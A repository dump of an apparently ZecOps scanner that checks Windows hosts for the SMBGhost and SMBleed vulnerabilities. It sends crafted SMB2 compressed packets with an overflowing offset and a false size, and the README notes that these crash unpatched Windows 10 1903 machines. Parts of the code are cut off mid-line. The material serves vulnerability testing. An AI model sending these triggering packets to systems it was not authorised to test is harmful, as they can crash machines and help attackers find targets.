├── LICENSE ├── README.md └── SMBGhost-SMBleed-scanner.py /LICENSE: -------------------------------------------------------------------------------- 1 | Custom license: 2 | Allowed for personal & educational usage. 3 | Not allowed for commercial usage without a prior written approval through ti@zecops.com. 4 | Use at your own risk. 5 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SMBGhost (CVE-2020-0796) and SMBleed (CVE-2020-1206) Scanner 2 | 3 | (c) 2020 ZecOps, Inc. - https://www.zecops.com - Find Attackers' Mistakes 4 | Intended only for educational and testing in corporate environments. 5 | ZecOps takes no responsibility for the code, use at your own risk. 6 | Please contact sales@ZecOps.com if you are interested in agent-less DFIR tools for Servers, Endpoints, and Mobile Devices to detect SMBGhost, SMBleed and other types of attacks automatically. 7 | 8 | ## Usage 9 | 10 | `SMBGhost-SMBleed-scanner.py target_ip` 11 | 12 | The scanner will report whether the target machine is vulnerable to SMBGhost and/or SMBleed. 13 | 14 | **Note:** The scanner will crash the target machine if it's running an unpatched Windows 10 version 1903. The crash is caused by a null dereference bug which is fixed by the **KB4512941** update. 15 | 16 | ## References 17 | 18 | * [Vulnerability Reproduction: CVE-2020-0796 POC - ZecOps Blog](https://blog.zecops.com/vulnerabilities/vulnerability-reproduction-cve-2020-0796-poc/) 19 | * [SMBleedingGhost Writeup: Chaining SMBleed (CVE-2020-1206) with SMBGhost - ZecOps Blog](https://blog.zecops.com/vulnerabilities/smbleedingghost-writeup-chaining-smbleed-cve-2020-1206-with-smbghost/) 20 | * [CVE-2020-0796 - Microsoft Security Response Center](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796) 21 | * [CVE-2020-1206 - Microsoft Security Response Center](https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-1206) 22 | -------------------------------------------------------------------------------- /SMBGhost-SMBleed-scanner.py: -------------------------------------------------------------------------------- 1 | # SMBGhost (CVE-2020-0796) and SMBleed (CVE-2020-1206) Scanner 2 | # (c) 2020 ZecOps, Inc. - https://www.zecops.com - Find Attackers' Mistakes 3 | # Intended only for educational and testing in corporate environments. 4 | # ZecOps takes no responsibility for the code, use at your own risk. 5 | 6 | import socket, struct, sys, copy 7 | 8 | class Smb2Header: 9 | def __init__(self, command, message_id=0, session_id=0): 10 | self.protocol_id = b"\xfeSMB" 11 | self.structure_size = b"\x40\x00" # Must be set to 0x40 12 | self.credit_charge = b"\x00"*2 13 | self.channel_sequence = b"\x00"*2 14 | self.channel_reserved = b"\x00"*2 15 | self.command = struct.pack('i', len(data))[1:] 79 | self.data = data 80 | 81 | def get_packet(self): 82 | return self.session + self.length + self.data 83 | 84 | class Smb2CompressedTransformHeader: 85 | def __init__(self, data, offset, original_decompressed_size): 86 | self.data = data 87 | self.protocol_id = b"\xfcSMB" 88 | self.original_decompressed_size = struct.pack(' result_length: 172 | result_offset = tmp_offset 173 | result_length = tmp_length 174 | 175 | if result_length < 3: 176 | return 0, 0 177 | return result_offset, result_length 178 | 179 | def _compress_chunk(chunk): 180 | blob = copy.copy(chunk) 181 | out = bytes() 182 | pow2 = 0x10 183 | l_mask3 = 0x1002 184 | o_shift = 12 185 | while len(blob) > 0: 186 | bits = 0 187 | tmp = bytes() 188 | for i in range(8): 189 | bits >>= 1 190 | while pow2 < (len(chunk) - len(blob)): 191 | pow2 <<= 1 192 | l_mask3 = (l_mask3 >> 1) + 1 193 | o_shift -= 1 194 | if len(blob) < l_mask3: 195 | max_len = len(blob) 196 | else: 197 | max_len = l_mask3 198 | 199 | offset, length = _find(chunk[:len(chunk) - len(blob)], blob, max_len) 200 | 201 | # try to find more compressed pattern 202 | offset2, length2 = _find(chunk[:len(chunk) - len(blob)+1], blob[1:], max_len) 203 | if length < length2: 204 | length = 0 205 | 206 | if length > 0: 207 | symbol = ((offset-1) << o_shift) | (length - 3) 208 | tmp += struct.pack('> (7 - i)) 218 | out += tmp 219 | 220 | return out 221 | 222 | out = bytes() 223 | while buf: 224 | chunk = buf[:chunk_size] 225 | compressed = _compress_chunk(chunk) 226 | if len(compressed) < len(chunk): # chunk is compressed 227 | flags = 0xB000 228 | header = struct.pack('I', reply_size)[0]) 243 | 244 | def send_negotiation(sock): 245 | negotiate = Smb2NegotiateRequest().get_packet() 246 | return send_raw(sock, negotiate) 247 | 248 | def send_compressed(sock, data, offset, original_decompressed_size): 249 | compressed = Smb2CompressedTransformHeader(data, offset, original_decompressed_size).get_packet() 250 | return send_raw(sock, compressed) 251 | 252 | def connect_and_send_compressed(ip_address, data, offset, original_decompressed_size): 253 | with socket.socket(socket.AF_INET) as sock: 254 | sock.settimeout(3) 255 | sock.connect((ip_address, 445)) 256 | send_negotiation(sock) 257 | return send_compressed(sock, data, offset, original_decompressed_size) 258 | 259 | def connect_and_send_raw(ip_address, data): 260 | with socket.socket(socket.AF_INET) as sock: 261 | sock.settimeout(3) 262 | sock.connect((ip_address, 445)) 263 | send_negotiation(sock) 264 | return send_raw(sock, data) 265 | 266 | def test_uncompressed(ip_address): 267 | ntlm_negotiate = Smb2NtlmNegotiate().get_packet() 268 | session_setup = Smb2SessionSetupRequest(1, ntlm_negotiate).get_packet() 269 | return connect_and_send_raw(ip_address, session_setup) 270 | 271 | def test_compressed_benign(ip_address): 272 | ntlm_negotiate = Smb2NtlmNegotiate().get_packet() 273 | session_setup = Smb2SessionSetupRequest(1, ntlm_negotiate).get_packet() 274 | return connect_and_send_compressed(ip_address, compress(session_setup), 0, len(session_setup)) 275 | 276 | def test_compressed_smbghost(ip_address): 277 | ntlm_negotiate = Smb2NtlmNegotiate().get_packet() 278 | session_setup = Smb2SessionSetupRequest(1, ntlm_negotiate).get_packet() 279 | return connect_and_send_compressed(ip_address, session_setup + b'\x00'*16, len(session_setup), -1) 280 | 281 | def test_compressed_smbleed(ip_address): 282 | ntlm_negotiate = Smb2NtlmNegotiate().get_packet() 283 | session_setup = Smb2SessionSetupRequest(1, ntlm_negotiate).get_packet() 284 | return connect_and_send_compressed(ip_address, compress(session_setup), 0, len(session_setup) + 1) 285 | 286 | def scan(ip_address): 287 | print('[+] Sending benign uncompressed SMB packet...') 288 | try: 289 | test_uncompressed(ip_address) 290 | except Exception as e: 291 | print('[!] ' + str(e).capitalize()) 292 | return 'SMB is inaccessible via target IP, make sure the IP address is correct and check your firewall' 293 | 294 | print('[+] Sending benign compressed SMB packet...') 295 | try: 296 | test_compressed_benign(ip_address) 297 | except Exception as e: 298 | print('[!] ' + str(e).capitalize()) 299 | 300 | print('[+] Sending another benign uncompressed SMB packet...') 301 | try: 302 | test_uncompressed(ip_address) 303 | return 'SMB compression is disabled or not supported, target is not vulnerable' 304 | except Exception as e: 305 | print('[!] ' + str(e).capitalize()) 306 | return ('Target no longer accessible, probably a buggy Windows 10 1903 version, ' 307 | 'VULNERABLE to SMBGhost (CVE-2020-0796) and SMBleed (CVE-2020-1206)') 308 | 309 | print('[+] Sending compressed SMB packet with integer overflow...') 310 | try: 311 | test_compressed_smbghost(ip_address) 312 | return 'Packet wasn\'t discarded, target is VULNERABLE to SMBGhost (CVE-2020-0796) and SMBleed (CVE-2020-1206)' 313 | except Exception as e: 314 | print('[!] ' + str(e).capitalize()) 315 | 316 | print('[+] Sending compressed SMB packet with fake data size...') 317 | try: 318 | test_compressed_smbleed(ip_address) 319 | return 'Packet wasn\'t discarded, target is VULNERABLE to SMBleed (CVE-2020-1206)' 320 | except Exception as e: 321 | print('[!] ' + str(e).capitalize()) 322 | 323 | return 'Target is not vulnerable' 324 | 325 | if __name__ == "__main__": 326 | print('SMBGhost (CVE-2020-0796) and SMBleed (CVE-2020-1206) Scanner') 327 | print('(c) 2020 ZecOps, Inc.') 328 | print() 329 | 330 | if len(sys.argv) != 2: 331 | exit(f'Usage: {sys.argv[0]} target_ip') 332 | 333 | target_ip = sys.argv[1] 334 | verdict = scan(target_ip) 335 | 336 | print() 337 | print('Verdict: ' + verdict) 338 | --------------------------------------------------------------------------------